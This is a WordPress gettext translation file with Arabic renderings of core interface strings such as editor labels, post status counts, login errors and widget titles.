#: wp-includes/class-wp-editor.php:1219
msgid "Constrain proportions"
msgstr "النسب المقيدة (Constrain proportions)"

#: wp-includes/media-template.php:1357 wp-includes/media-template.php:1456
#: wp-includes/widgets/class-wp-widget-media-audio.php:77
#: wp-includes/widgets/class-wp-widget-media-video.php:80
#: wp-includes/js/dist/block-library.js:3303
#: wp-includes/js/dist/block-library.js:56259
msgid "Loop"
msgstr "حلقة"

#: wp-includes/media-template.php:1071 wp-includes/media-template.php:1135
#: wp-includes/js/dist/block-editor.js:15454
msgid "Align"
msgstr "محاذاة"

#: wp-includes/class-wp-editor.php:1249 wp-includes/script-loader.php:1031
msgid "Fullscreen"
msgstr "شاشة كاملة"

#: wp-includes/script-loader.php:1039
msgid "Mute"
msgstr "صامت"

#: wp-includes/class-wp-editor.php:1217
msgid "Source"
msgstr "المصدر"

#: wp-includes/media-template.php:1252
#: wp-includes/widgets/class-wp-widget-media-image.php:137
msgid "Link Rel"
msgstr "خصائص الرابط"

#. translators: 1: Blog name, 2: Separator (raquo), 3: Tag name.
#: wp-includes/general-template.php:3156
msgid "%1$s %2$s %3$s Tag Feed"
msgstr "%1$s %2$s %3$s خلاصة الوسوم"

#. translators: %s: Number of published posts.
#: wp-includes/post.php:544
msgid "Published <span class=\"count\">(%s)</span>"
msgid_plural "Published <span class=\"count\">(%s)</span>"
msgstr[0] "المنشورة <span class=\"count\">(%s)</span>"
msgstr[1] "المنشورة <span class=\"count\">(%s)</span>"
msgstr[2] "المنشورة <span class=\"count\">(%s)</span>"
msgstr[3] "المنشورة <span class=\"count\">(%s)</span>"
msgstr[4] "المنشورة <span class=\"count\">(%s)</span>"
msgstr[5] "المنشورة <span class=\"count\">(%s)</span>"

#: wp-includes/functions.php:6481
msgid "Manual Offsets"
msgstr "تعديلات يدويّة"

#. translators: %s: Number of draft posts.
#: wp-includes/post.php:572
msgid "Draft <span class=\"count\">(%s)</span>"
msgid_plural "Drafts <span class=\"count\">(%s)</span>"
msgstr[0] "المسودّات <span class=\"count\">(%s)</span>"
msgstr[1] "المسودّات <span class=\"count\">(%s)</span>"
msgstr[2] "المسودّات <span class=\"count\">(%s)</span>"
msgstr[3] "المسودّات <span class=\"count\">(%s)</span>"
msgstr[4] "المسودّات <span class=\"count\">(%s)</span>"
msgstr[5] "المسودّات <span class=\"count\">(%s)</span>"

#. translators: %s: Number of trashed posts.
#: wp-includes/post.php:616
msgid "Trash <span class=\"count\">(%s)</span>"
msgid_plural "Trash <span class=\"count\">(%s)</span>"
msgstr[0] "سلة المهملات <span class=\"count\">(%s)</span>"
msgstr[1] "سلة المهملات  <span class=\"count\">(%s)</span>"
msgstr[2] "سلة المهملات <span class=\"count\">(%s)</span>"
msgstr[3] "سلة المهملات <span class=\"count\">(%s)</span>"
msgstr[4] "سلة المهملات <span class=\"count\">(%s)</span>"
msgstr[5] "سلة المهملات <span class=\"count\">(%s)</span>"

#. translators: %s: Number of scheduled posts.
#: wp-includes/post.php:558
msgid "Scheduled <span class=\"count\">(%s)</span>"
msgid_plural "Scheduled <span class=\"count\">(%s)</span>"
msgstr[0] "المجدّولة <span class=\"count\">(%s)</span>"
msgstr[1] "المجدّولة <span class=\"count\">(%s)</span>"
msgstr[2] "المجدّولة <span class=\"count\">(%s)</span>"
msgstr[3] "المجدّولة <span class=\"count\">(%s)</span>"
msgstr[4] "المجدّولة <span class=\"count\">(%s)</span>"
msgstr[5] "المجدّولة <span class=\"count\">(%s)</span>"

#: wp-includes/widgets.php:1710
msgid "Enter the RSS feed URL here:"
msgstr "أدخل رابط خلاصة RSS هنا:"

#. translators: Comment moderation. %s: Number of comments awaiting approval.
#: wp-includes/pluggable.php:1971
msgid "Currently %s comment is waiting for approval. Please visit the moderation panel:"
msgid_plural "Currently %s comments are waiting for approval. Please visit the moderation panel:"
msgstr[0] "حالياً لا توجد تعليقات بانتظار الموافقة."
msgstr[1] "حالياً تعليق واحد بانتظار موافقتك، رجاءً زر لوحة التحكم:"
msgstr[2] "حالياً تعليقين بانتظار موافقتك، رجاءً زر لوحة التحكم:"
msgstr[3] "حالياً %s تعليقات بانتظار موافقتك، رجاءً زر لوحة التحكم:"
msgstr[4] "حالياً %s تعليق بانتظار موافقتك، رجاءً زر لوحة التحكم:"
msgstr[5] "حالياً %s تعليق بانتظار موافقتك، رجاءً زر لوحة التحكم:"

#. translators: %s: Number of private posts.
#: wp-includes/post.php:602
msgid "Private <span class=\"count\">(%s)</span>"
msgid_plural "Private <span class=\"count\">(%s)</span>"
msgstr[0] "الخاصة <span class=\"count\">(%s)</span>"
msgstr[1] "الخاصة <span class=\"count\">(%s)</span>"
msgstr[2] "الخاصة <span class=\"count\">(%s)</span>"
msgstr[3] "الخاصة <span class=\"count\">(%s)</span>"
msgstr[4] "الخاصة <span class=\"count\">(%s)</span>"
msgstr[5] "الخاصة <span class=\"count\">(%s)</span>"

#: wp-includes/class-wp-editor.php:1213 wp-includes/script-loader.php:926
#: wp-includes/widgets/class-wp-widget-media-image.php:28
#: wp-includes/js/dist/block-editor.js:48462
#: wp-includes/js/dist/block-library.js:24207
#: wp-includes/js/dist/editor.js:7783 wp-admin/includes/media.php:2941
msgid "Image"
msgstr "صورة"

#. translators: %s: Site title.
#: wp-includes/functions.php:3572
msgid "You are attempting to log out of %s"
msgstr "أنت تحاول تسجيل الخروج من %s"

#: wp-includes/class-wp-editor.php:1218
#: wp-includes/js/dist/block-editor.js:34899
#: wp-includes/js/dist/block-editor.js:51876
#: wp-includes/js/dist/block-editor.js:52260
#: wp-includes/js/dist/block-editor.js:52377
#: wp-includes/js/dist/edit-site.js:8586 wp-includes/js/dist/edit-site.js:8590
#: wp-includes/js/dist/edit-site.js:9977 wp-includes/js/dist/edit-site.js:9978
#: wp-includes/js/dist/edit-site.js:12162
msgid "Border"
msgstr "إطار"

#: wp-includes/class-wp-editor.php:1251
msgid "Horizontal space"
msgstr "مسافة أفقية"

#. translators: 'Home' as in a website's home page.
#: wp-includes/post-template.php:1462
#: wp-includes/js/dist/block-library.js:22913
#: wp-includes/js/dist/block-library.js:33290 wp-admin/menu.php:26
#: wp-admin/network/menu.php:13
msgid "Home"
msgstr "الرئيسية"

#: wp-includes/class-wp-editor.php:1204
msgid "Document properties"
msgstr "خصائص المستند"

#: wp-includes/widgets.php:1716
msgid "How many items would you like to display?"
msgstr "كم عدد العناصر التي ترغب في عرضها؟"

#: wp-includes/class-wp-http.php:283
msgid "User has blocked requests through HTTP."
msgstr "حجب المستخدم الطلبات من خلال ال HTTP"

#: wp-includes/widgets.php:1731
msgid "Display item author if available?"
msgstr "عرض كاتب العنصر إذا كان متوفرا؟"

#: wp-includes/class-wp-locale.php:220
#: wp-includes/customize/class-wp-customize-date-time-control.php:203
#: wp-includes/js/dist/components.js:54118
msgid "PM"
msgstr "مساءً"

#: wp-includes/blocks/categories.php:34
#: wp-includes/widgets/class-wp-widget-categories.php:77
#: wp-includes/js/dist/block-library.js:5993
msgid "Select Category"
msgstr "اختر التصنيف"

#. translators: 1: Blog name, 2: Separator (raquo), 3: Category name.
#: wp-includes/general-template.php:3154
msgid "%1$s %2$s %3$s Category Feed"
msgstr "%1$s %2$s %3$s خلاصة التصنيف"

#: wp-includes/class-wp-editor.php:1220
msgid "Vertical space"
msgstr "مسافة عمودية"

#: wp-includes/widgets/class-wp-widget-archives.php:228
#: wp-includes/widgets/class-wp-widget-categories.php:198
#: wp-includes/js/dist/block-library.js:2012
#: wp-includes/js/dist/block-library.js:6026
#: wp-includes/js/dist/block-library.js:53738
msgid "Show post counts"
msgstr "عرض عدد المقالات"

#: wp-includes/widgets/class-wp-widget-recent-posts.php:31
#: wp-includes/widgets/class-wp-widget-recent-posts.php:49
#: wp-admin/includes/upgrade.php:401
msgid "Recent Posts"
msgstr "أحدث المقالات"

#: wp-includes/widgets/class-wp-widget-recent-posts.php:174
msgid "Number of posts to show:"
msgstr "عدد المقالات:"

#. translators: 1: Blog name, 2: Separator (raquo), 3: Author name.
#: wp-includes/general-template.php:3160
msgid "%1$s %2$s Posts by %3$s Feed"
msgstr "%1$s %2$s خلاصة مقالات %3$s"

#: wp-includes/post-template.php:419 wp-includes/js/dist/block-library.js:38802
msgid "There is no excerpt because this is a protected post."
msgstr "لا يوجد مختصر لأن هذه المقالة محمية بكلمة مرور."

#: wp-includes/functions.php:3596
msgid "Please try again."
msgstr "الرجاء المحاولة مرة أخرى."

#: wp-includes/script-loader.php:949
msgid "An error occurred in the upload. Please try again later."
msgstr "حصل خطأ في عملية الرفع، الرجاء المحاولة مرة أخرى."

#: wp-includes/functions.php:6472 wp-includes/functions.php:6477
msgid "UTC"
msgstr "UTC"

#. translators: %d: Sidebar number.
#: wp-includes/widgets.php:182 wp-includes/widgets.php:268
msgid "Sidebar %d"
msgstr "الشريط الجانبي %d"

#: wp-includes/comment.php:265
msgid "Unapproved"
msgstr "لم تتم الموافقة عليها"

#: wp-includes/user.php:194 wp-includes/user.php:266 wp-login.php:1120
#: wp-login.php:1492
msgid "Lost your password?"
msgstr "هل فقدت كلمة مرورك؟"

#: wp-includes/pluggable.php:1931
msgid "Pingback excerpt: "
msgstr "مقتطف التنبيه:"

#: wp-includes/ms-load.php:492
msgid "What do I do now?"
msgstr "ماذا أفعل الآن؟"

#: wp-includes/link-template.php:2046 wp-includes/link-template.php:2322
msgid "Next Post"
msgstr "المقالة التالية"

#: wp-includes/link-template.php:2046 wp-includes/link-template.php:2322
msgid "Previous Post"
msgstr "المقالة السابقة"

#: wp-includes/class-wp-editor.php:1315
#: wp-includes/js/dist/block-library.js:52533
msgid "Insert column after"
msgstr "أضف عموداً بعد"

#: wp-includes/class-wp-editor.php:1258 wp-includes/script-loader.php:737
#: wp-includes/js/dist/block-editor.js:51022
#: wp-includes/js/dist/block-editor.js:51299
msgid "Insert link"
msgstr "أضف رابطاً"

#: wp-includes/comment.php:713
msgid "Duplicate comment detected; it looks as though you&#8217;ve already said that!"
msgstr "تم اكتشاف وجود تعليق مكرر، يبدو أنك قد سبق وأرسلت هذا التعليق."

#: wp-includes/class-wp-locale.php:219
#: wp-includes/customize/class-wp-customize-date-time-control.php:202
#: wp-includes/js/dist/components.js:54113
msgid "AM"
msgstr "صباحًا"

#: wp-includes/admin-bar.php:1055 wp-includes/js/dist/block-editor.js:36169
#: wp-includes/js/dist/block-library.js:32341
#: wp-includes/js/dist/edit-site.js:10949
#: wp-includes/js/dist/edit-site.js:11383
#: wp-includes/js/dist/format-library.js:1496
#: wp-admin/includes/class-custom-background.php:66 wp-admin/menu.php:238
msgid "Background"
msgstr "خلفية"

#: wp-includes/ms-functions.php:271
msgid "That user does not exist."
msgstr "هذا المستخدم غير موجود."

#: wp-includes/ms-functions.php:1187
msgid "Could not create user"
msgstr "غير قادر على إنشاء مستخدم"

#: wp-includes/class-wp-editor.php:1254
#: wp-includes/js/dist/block-editor.js:51330
msgid "Remove link"
msgstr "إزالة الرابط"

#. translators: 1: PHP function name, 2: Version number, 3: Optional message
#. regarding the change.
#: wp-includes/functions.php:5692
msgid "Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s"
msgstr "%1$s أستدعيت بواسطة مُعطى <strong>مهجور</strong> منذ النسخة %2$s! %3$s"

#. translators: 1: WordPress hook name, 2: Version number, 3: Alternative hook
#. name.
#: wp-includes/functions.php:5783
msgid "Hook %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead."
msgstr "%1$s <strong>مهجورة</strong> منذ النسخة %2$s استخدم %3$s بدلاً منها."

#. translators: 1: WordPress hook name, 2: Version number.
#: wp-includes/functions.php:5794
msgid "Hook %1$s is <strong>deprecated</strong> since version %2$s with no alternative available."
msgstr "%1$s <strong>مهجورة</strong> منذ النسخة %2$s ولا يوجد بديل متوفّر حالياً."

#. translators: 1: PHP function name, 2: Version number.
#: wp-includes/functions.php:5703
msgid "Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available."
msgstr "%1$s أستدعيت بواسطة مُعطى <strong>مهجور</strong> منذ النسخة %2$s ولا يوجد بديل متوفّر حالياً."

#: wp-includes/class-wp-theme.php:1012
msgid "Gray"
msgstr "رمادي"

#: wp-includes/customize/class-wp-customize-background-position-control.php:79
#: wp-includes/js/dist/components.js:21383
#: wp-admin/includes/class-custom-background.php:408
msgid "Bottom Right"
msgstr "أسفل اليمين"

#: wp-includes/customize/class-wp-customize-background-position-control.php:71
#: wp-includes/js/dist/components.js:21381
#: wp-admin/includes/class-custom-background.php:400
msgid "Bottom Left"
msgstr "أسفل اليسار"

#: wp-includes/customize/class-wp-customize-background-position-control.php:51
#: wp-includes/js/dist/components.js:21376
#: wp-admin/includes/class-custom-background.php:380
msgid "Top Right"
msgstr "أعلى اليمين"

#: wp-includes/customize/class-wp-customize-background-position-control.php:43
#: wp-includes/js/dist/components.js:21374
#: wp-admin/includes/class-custom-background.php:372
msgid "Top Left"
msgstr "أعلى اليسار"

#: wp-includes/class-wp-customize-manager.php:5505
#: wp-includes/class-wp-customize-manager.php:5564
#: wp-admin/includes/class-custom-background.php:449
msgid "Fill Screen"
msgstr "املأ الشاشة"

#. translators: %s: Revision date.
#. translators: %s: Revision date with author avatar.
#: wp-includes/post-template.php:1884 wp-includes/post-template.php:1945
msgid "%s [Autosave]"
msgstr "%s [حفظ تلقائي]"

#. translators: %s: Revision date.
#. translators: %s: Revision date with author avatar.
#: wp-includes/post-template.php:1886 wp-includes/post-template.php:1947
msgid "%s [Current Revision]"
msgstr "%s [المراجعة الحالية]"

#. translators: %s: Logout URL.
#: wp-includes/functions.php:3582
msgid "Do you really want to <a href=\"%s\">log out</a>?"
msgstr "هل أنت متأكد بأنك تريد <a href=\"%s\">تسجيل الخروج</a>؟"

#. translators: Hidden accessibility text.
#. translators: The user language selection field label.
#: wp-includes/class-wp-editor.php:1229 wp-login.php:338
#: wp-admin/user-edit.php:359 wp-admin/user-new.php:542
msgid "Language"
msgstr "اللغة"

#: wp-includes/class-wp-editor.php:1266
msgid "The URL you entered seems to be an external link. Do you want to add the required http:// prefix?"
msgstr "عنوان الرابط الذي أدخلته يبدو وكأنه رابط خارجي. هل ترغب بإضافة البادئة http:// ؟"

#: wp-includes/class-wp-editor.php:1264
msgid "The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?"
msgstr "عنوان الرابط الذي أدخلته يبدو وكأنّه عنوان بريد إلكتروني. هل ترغب في إضافة بادئة mailto: ؟"

#. translators: Time difference between two dates, in days. %s: Number of days.
#: wp-includes/formatting.php:3842
msgid "%s day"
msgid_plural "%s days"
msgstr[0] "%s يوم"
msgstr[1] "يوم واحد"
msgstr[2] "يومين"
msgstr[3] "%s أيام"
msgstr[4] "%s يوم"
msgstr[5] "%s يوم"

#: wp-includes/taxonomy.php:4785
msgid "Invalid object ID."
msgstr "مُعرّف (ID) الكائن غير صالح."

#: wp-includes/taxonomy.php:929 wp-includes/taxonomy.php:3136
#: wp-includes/taxonomy.php:4562
msgid "Empty Term."
msgstr "عنصر فارغ."

#. translators: %s: Taxonomy term slug.
#: wp-includes/taxonomy.php:3231
msgid "The slug &#8220;%s&#8221; is already in use by another term."
msgstr "العنوان اللطيف &#8220;%s&#8221; مستخدم مسبقاً بواسطة عنصر آخر."

#: wp-includes/taxonomy.php:2494
msgid "Could not insert term into the database."
msgstr "تعذر إدخال العنصر في قاعدة البيانات."

#: wp-includes/widgets/class-wp-widget-categories.php:202
#: wp-includes/js/dist/block-library.js:6038
msgid "Show hierarchy"
msgstr "عرض الترتيب الهرمي"

#. translators: %s: Maximum allowed file size in kilobytes.
#: wp-includes/ms-functions.php:2091
#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1302
#: wp-admin/includes/ms.php:41
msgid "This file is too big. Files must be less than %s KB in size."
msgstr "هذا الملف كبير للغاية. يجب أن يكون حجم الملفات أقل من %s كيلو بايت."

#: wp-includes/class-wp-editor.php:1364 wp-includes/script-loader.php:1243
#: wp-includes/theme.php:3640 wp-admin/js/nav-menu.js:1260
#: wp-admin/js/post.js:512 wp-admin/js/theme-plugin-editor.js:71
#: wp-admin/js/widgets.js:98
msgid "The changes you made will be lost if you navigate away from this page."
msgstr "سيتم فقدان التغييرات التي أجريتها إذا غادرت هذه الصفحة."

#: wp-includes/class-wp-editor.php:1174
msgid "Select all"
msgstr "تحديد الكل"

#: wp-includes/functions.php:4227
#: wp-includes/sitemaps/class-wp-sitemaps-renderer.php:268 wp-load.php:102
msgid "WordPress &rsaquo; Error"
msgstr "ووردبريس &rsaquo; خطأ"

#: wp-includes/script-loader.php:925
msgid "&lt; Prev"
msgstr "&lt; السابق"

#: wp-includes/script-loader.php:924
msgid "Next &gt;"
msgstr "التالي &gt;"

#: wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:191
#: wp-admin/media-upload.php:39
msgid "Invalid item ID."
msgstr "معرّف العنصر غير صالح."

#: wp-includes/class-wp-editor.php:1304
msgid "Column"
msgstr "عمود"

#. translators: %s: Number of pending posts.
#. translators: %s: Number of pending requests.
#: wp-includes/post.php:587 wp-includes/post.php:651
msgid "Pending <span class=\"count\">(%s)</span>"
msgid_plural "Pending <span class=\"count\">(%s)</span>"
msgstr[0] "بإنتظار المراجعة <span class=\"count\">(%s)</span>"
msgstr[1] "بإنتظار المراجعة <span class=\"count\">(%s)</span>"
msgstr[2] "بإنتظار المراجعة <span class=\"count\">(%s)</span>"
msgstr[3] "بإنتظار المراجعة <span class=\"count\">(%s)</span>"
msgstr[4] "بإنتظار المراجعة <span class=\"count\">(%s)</span>"
msgstr[5] "بإنتظار المراجعة <span class=\"count\">(%s)</span>"

#. translators: Separator between blog name and feed type in feed links.
#: wp-includes/general-template.php:3098 wp-includes/general-template.php:3150
msgctxt "feed link"
msgid "&raquo;"
msgstr "&laquo;"

#. translators: Time difference between two dates, in hours. %s: Number of
#. hours.
#. translators: %s: Time duration in hour or hours.
#: wp-includes/formatting.php:3835 wp-includes/functions.php:550
msgid "%s hour"
msgid_plural "%s hours"
msgstr[0] "%s ساعة"
msgstr[1] "ساعة واحدة"
msgstr[2] "ساعتين"
msgstr[3] "%s ساعات"
msgstr[4] "%s ساعة"
msgstr[5] "%s ساعة"

#. translators: Time difference between two dates, in minutes (min=minute). %s:
#. Number of minutes.
#: wp-includes/formatting.php:3828
msgid "%s min"
msgid_plural "%s mins"
msgstr[0] "%s دقيقة"
msgstr[1] "دقيقة واحدة"
msgstr[2] "دقيقتين"
msgstr[3] "%s دقائق"
msgstr[4] "%s دقيقة"
msgstr[5] "%s دقيقة"

#: wp-includes/deprecated.php:2691
msgid "Last Post"
msgstr "المشاركة الأخيرة"

#: wp-includes/user.php:2965 wp-includes/user.php:2969
#: wp-includes/user.php:2975 wp-includes/user.php:3001
#: wp-includes/user.php:3010 wp-includes/user.php:3014
#: wp-includes/user.php:3031
msgid "Invalid key."
msgstr "مفتاح غير صالح."

#. translators: %s: Allowed space allocation.
#: wp-includes/class-wp-xmlrpc-server.php:6397 wp-admin/includes/media.php:3096
#: wp-admin/includes/ms-deprecated.php:35 wp-admin/includes/ms.php:239
msgid "Sorry, you have used your space allocation of %s. Please delete some files to upload more files."
msgstr "عذرًا، لقد استخدمت الحصة المخصصة من المساحة الخاصة بك لـ %s. يرجى حذف بعض الملفات لرفع المزيد من الملفات."

#. translators: %s: Number of documents.
#: wp-includes/post.php:3166
msgid "Document <span class=\"count\">(%s)</span>"
msgid_plural "Documents <span class=\"count\">(%s)</span>"
msgstr[0] "مستندات <span class=\"count\">(%s)</span>"
msgstr[1] "مستندات <span class=\"count\">(%s)</span>"
msgstr[2] "مستندات <span class=\"count\">(%s)</span>"
msgstr[3] "مستندات <span class=\"count\">(%s)</span>"
msgstr[4] "مستندات <span class=\"count\">(%s)</span>"
msgstr[5] "مستندات <span class=\"count\">(%s)</span>"

#: wp-includes/script-loader.php:965
msgid "moved to the Trash."
msgstr "تم النقل لسلة المُهملات."

#: wp-includes/js/dist/components.js:42651
#: wp-admin/includes/ajax-actions.php:2231
msgid "Type"
msgstr "نوع"

#: wp-includes/post.php:4461
msgid "Could not insert post into the database."
msgstr "تعذر إدراج المقالة إلى قاعدة البيانات."

#: wp-includes/post.php:4438
msgid "Could not update post in the database."
msgstr "تعذر تحديث المقالة في قاعدة البيانات."

#: wp-includes/comment.php:2440
msgid "Could not update comment status."
msgstr "تعذر تحديث حالة التعليق."

#: wp-includes/class-wp-editor.php:1312
#: wp-includes/js/dist/block-library.js:52513
msgid "Insert row before"
msgstr "أدرج صف قبل"

#: wp-includes/class-wp-editor.php:1313
#: wp-includes/js/dist/block-library.js:52518
msgid "Insert row after"
msgstr "أدرج صف بعد"

#: wp-includes/comment-template.php:2591
#: wp-includes/js/dist/block-library.js:8386
#: wp-includes/js/dist/block-library.js:8387
msgid "Post Comment"
msgstr "إرسال التعليق"

#: wp-login.php:152
msgid "Powered by WordPress"
msgstr "يعمل بواسطة ووردبريس"

#. translators: Comments feed title. 1: Site title, 2: Search query.
#: wp-includes/feed-atom-comments.php:37 wp-includes/feed-rss2-comments.php:42
msgid "Comments for %1$s searching on %2$s"
msgstr "التعليقات لـ %1$s في البحث عن %2$s"

#: wp-includes/widgets/class-wp-widget-pages.php:178
msgid "Exclude:"
msgstr "استثناء:"

#: wp-signup.php:777
msgid "Sign up"
msgstr "تسجيل"

#: wp-mail.php:65
msgid "There does not seem to be any new mail."
msgstr "يبدو أنه لا يوجد أي رسالة جديدة."

#: wp-includes/class-wp-editor.php:1159 wp-includes/script-loader.php:751
#: wp-includes/js/dist/block-library.js:6618
msgid "Code"
msgstr "شفرة خاصة"

#: wp-signup.php:871
msgid "If you have not received your email yet, there are a number of things you can do:"
msgstr "إذا لم تستلم رسالة عبر البريد الالكتروني بعد، هناك عدة أشياء يمكنك القيام بها:"

#: wp-includes/ms-load.php:498
msgid "If you are still stuck with this message, then check that your database contains the following tables:"
msgstr "إن كنت لا تزال تعاني من هذه الرسالة، عليك التحقق ممّا إذا كانت قاعدة البيانات الخاصة بك تحتوي على الجداول التالية:"

#: wp-includes/user.php:3355 wp-includes/user.php:3655
#: wp-admin/includes/user.php:209
msgid "<strong>Error:</strong> The email address is not correct."
msgstr "<strong>خطأ:</strong> البريد الإلكتروني غير صحيح."

#: wp-includes/user.php:148
msgid "<strong>Error:</strong> The username field is empty."
msgstr "<strong>خطأ:</strong> حقل اسم المستخدم فارغ."

#: wp-includes/user.php:152 wp-includes/user.php:231
msgid "<strong>Error:</strong> The password field is empty."
msgstr "<strong>خطأ:</strong> حقل كلمة المرور فارغ."

#: wp-includes/user.php:3353
msgid "<strong>Error:</strong> Please type your email address."
msgstr "<strong>خطأ:</strong> يرجى كتابة عنوان بريدك الإلكتروني."

#: wp-includes/user.php:3059
msgid "<strong>Error:</strong> Please enter a username or email address."
msgstr "<strong>خطأ:</strong> يرجى إدخال اسم المستخدم أو البريد الإلكتروني."

#. translators: 1: WordPress version number, 2: Minimum required MySQL version
#. number.
#: wp-includes/class-wpdb.php:3972
msgid "<strong>Error:</strong> WordPress %1$s requires MySQL %2$s or higher"
msgstr "<strong>خطأ:</strong> ووردبريس %1$s يتطلب MySQL %2$s أو أعلى"

#: wp-signup.php:280
msgid "(Must be at least 4 characters, lowercase letters and numbers only.)"
msgstr "(يجب أن يتكوّن من 4 محارف على الأقل. يسمح باستخدام حروف وأرقام فقط.)"

#: wp-includes/user.php:517
msgid "<strong>Error:</strong> Your account has been marked as a spammer."
msgstr "<strong>خطأ:</strong> موقعك مشتبه بكونه موقع مزعج (spammer)."

#: wp-includes/class-wp-theme.php:288
msgid "Stylesheet is missing."
msgstr "ملف التنسيق غير موجود."

#: wp-signup.php:218 wp-admin/includes/class-wp-debug-data.php:104
#: wp-admin/includes/class-wp-debug-data.php:109
#: wp-admin/includes/class-wp-debug-data.php:114
#: wp-admin/includes/class-wp-debug-data.php:119
#: wp-admin/includes/class-wp-debug-data.php:796
#: wp-admin/includes/class-wp-debug-data.php:805
#: wp-admin/includes/class-wp-debug-data.php:814
#: wp-admin/includes/class-wp-links-list-table.php:264
msgid "Yes"
msgstr "نعم"

#: wp-includes/class-wp-taxonomy.php:623
msgid "Edit Category"
msgstr "تحرير التصنيف"

#: wp-includes/class-wp-customize-nav-menus.php:336
#: wp-includes/script-loader.php:889 wp-includes/script-loader.php:1202
#: wp-includes/js/dist/block-directory.js:1729
#: wp-includes/js/dist/block-editor.js:23291
#: wp-includes/js/dist/block-library.js:10284
#: wp-includes/js/dist/block-library.js:40053
#: wp-includes/js/dist/block-library.js:54570
#: wp-includes/js/dist/components.js:60165 wp-admin/includes/nav-menu.php:606
#: wp-admin/includes/nav-menu.php:907 wp-admin/js/nav-menu.js:1463
msgid "No results found."
msgstr "لا توجد نتائج."

#: wp-includes/class-wp-customize-manager.php:5232
#: wp-includes/customize/class-wp-customize-color-control.php:54
#: wp-includes/customize/class-wp-customize-media-control.php:227
#: wp-includes/customize/class-wp-customize-media-control.php:237
#: wp-includes/customize/class-wp-customize-media-control.php:248
#: wp-includes/customize/class-wp-customize-media-control.php:258
#: wp-includes/js/dist/block-editor.js:12082
#: wp-includes/js/dist/block-editor.js:31970
#: wp-includes/js/dist/block-editor.js:36348
#: wp-includes/js/dist/block-editor.js:36909
#: wp-includes/js/dist/block-editor.js:43163
#: wp-includes/js/dist/components.js:54425
#: wp-includes/js/dist/components.js:56225
#: wp-includes/js/dist/edit-post.js:6267 wp-includes/js/dist/edit-post.js:6409
#: wp-includes/js/dist/edit-site.js:11184
#: wp-includes/js/dist/edit-site.js:11244
#: wp-includes/js/dist/edit-site.js:11491
#: wp-includes/js/dist/edit-site.js:12083 wp-admin/js/color-picker.js:149
msgid "Default"
msgstr "افتراضي"

#. translators: Comments feed title. %s: Post title.
#: wp-includes/feed-atom-comments.php:34
msgid "Comments on %s"
msgstr "التعليقات على %s"

#: wp-includes/link-template.php:2631 wp-includes/link-template.php:2690
msgid "&laquo; Previous Page"
msgstr "&laquo; الصفحة السابقة"

#: wp-includes/widgets/class-wp-nav-menu-widget.php:184
#: wp-includes/widgets/class-wp-widget-archives.php:220
#: wp-includes/widgets/class-wp-widget-calendar.php:100
#: wp-includes/widgets/class-wp-widget-categories.php:188
#: wp-includes/widgets/class-wp-widget-custom-html.php:266
#: wp-includes/widgets/class-wp-widget-media.php:417
#: wp-includes/widgets/class-wp-widget-meta.php:138
#: wp-includes/widgets/class-wp-widget-pages.php:164
#: wp-includes/widgets/class-wp-widget-recent-comments.php:197
#: wp-includes/widgets/class-wp-widget-recent-posts.php:169
#: wp-includes/widgets/class-wp-widget-search.php:72
#: wp-includes/widgets/class-wp-widget-tag-cloud.php:151
#: wp-includes/widgets/class-wp-widget-text.php:492
#: wp-includes/widgets/class-wp-widget-text.php:525
msgid "Title:"
msgstr "العنوان:"

#: wp-includes/comment-template.php:1642
msgid "Enter your password to view comments."
msgstr "أكتب كلمة المرور لمشاهدة التعليقات."

#: wp-includes/comment-template.php:967
msgid "1 Comment"
msgstr "تعليق واحد"

#: wp-includes/link-template.php:1149 wp-includes/link-template.php:1517
#: wp-includes/link-template.php:1627 wp-includes/link-template.php:1690
msgid "Edit This"
msgstr "تحرير"

#: wp-includes/category-template.php:1233
msgid "Tags: "
msgstr "الوسوم:"

#: wp-includes/post-template.php:952
msgid "Pages:"
msgstr "الصفحات:"

#. translators: %s: Date and time of last update.
#: wp-includes/bookmark-template.php:90
msgid "Last updated: %s"
msgstr "آخر تحديث: %s"

#: wp-includes/bookmark-template.php:231
msgid "Bookmarks"
msgstr "روابط"

#: wp-includes/theme-compat/sidebar.php:138
#: wp-includes/widgets/class-wp-widget-meta.php:33
#: wp-includes/widgets/class-wp-widget-meta.php:46
msgid "Meta"
msgstr "منوعات"

#: wp-includes/comment-template.php:1862
msgid "Log in to leave a Comment"
msgstr "عليك أن تسجل الدخول حتى تتمكن من كتابة تعليق"

#. translators: %s: Author of the comment being replied to.
#: wp-includes/comment-template.php:2057 wp-includes/comment-template.php:2585
msgid "Leave a Reply to %s"
msgstr "اترك رداً على %s"

#: wp-includes/class-walker-comment.php:360
msgid "(Edit)"
msgstr "(تحرير)"

#: wp-includes/comment-template.php:2481 wp-login.php:1091
#: wp-admin/comment.php:177 wp-admin/edit-form-comment.php:63
#: wp-admin/includes/class-wp-users-list-table.php:375
#: wp-admin/includes/template.php:493 wp-admin/user-edit.php:518
#: wp-admin/user-new.php:422 wp-admin/user-new.php:518
#: wp-admin/includes/class-wp-ms-users-list-table.php:195
#: wp-admin/network/site-users.php:342 wp-admin/network/user-new.php:130
msgid "Email"
msgstr "البريد الإلكتروني"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-panel.php:393
#: wp-includes/class-wp-customize-section.php:388
#: wp-includes/customize/class-wp-customize-nav-menus-panel.php:90
#: wp-includes/customize/class-wp-customize-themes-panel.php:91
#: wp-includes/js/dist/customize-widgets.js:1411
#: wp-includes/js/dist/edit-post.js:3627 wp-includes/js/dist/edit-site.js:16456
#: wp-includes/js/dist/edit-widgets.js:3908 wp-admin/customize.php:241
#: wp-admin/includes/class-wp-screen.php:979
msgid "Help"
msgstr "مساعدة"

#: wp-includes/class-wp-editor.php:1326 wp-includes/media-template.php:1193
#: wp-includes/widgets/class-wp-widget-media-image.php:78
#: wp-includes/js/dist/block-editor.js:13610
#: wp-includes/js/dist/block-editor.js:45816
#: wp-includes/js/dist/block-library.js:7008
#: wp-includes/js/dist/block-library.js:39044
#: wp-includes/js/dist/block-library.js:39054
#: wp-includes/js/dist/block-library.js:46808
#: wp-includes/js/dist/block-library.js:50725
#: wp-includes/js/dist/format-library.js:299 wp-admin/options-media.php:67
msgid "Width"
msgstr "عرض"

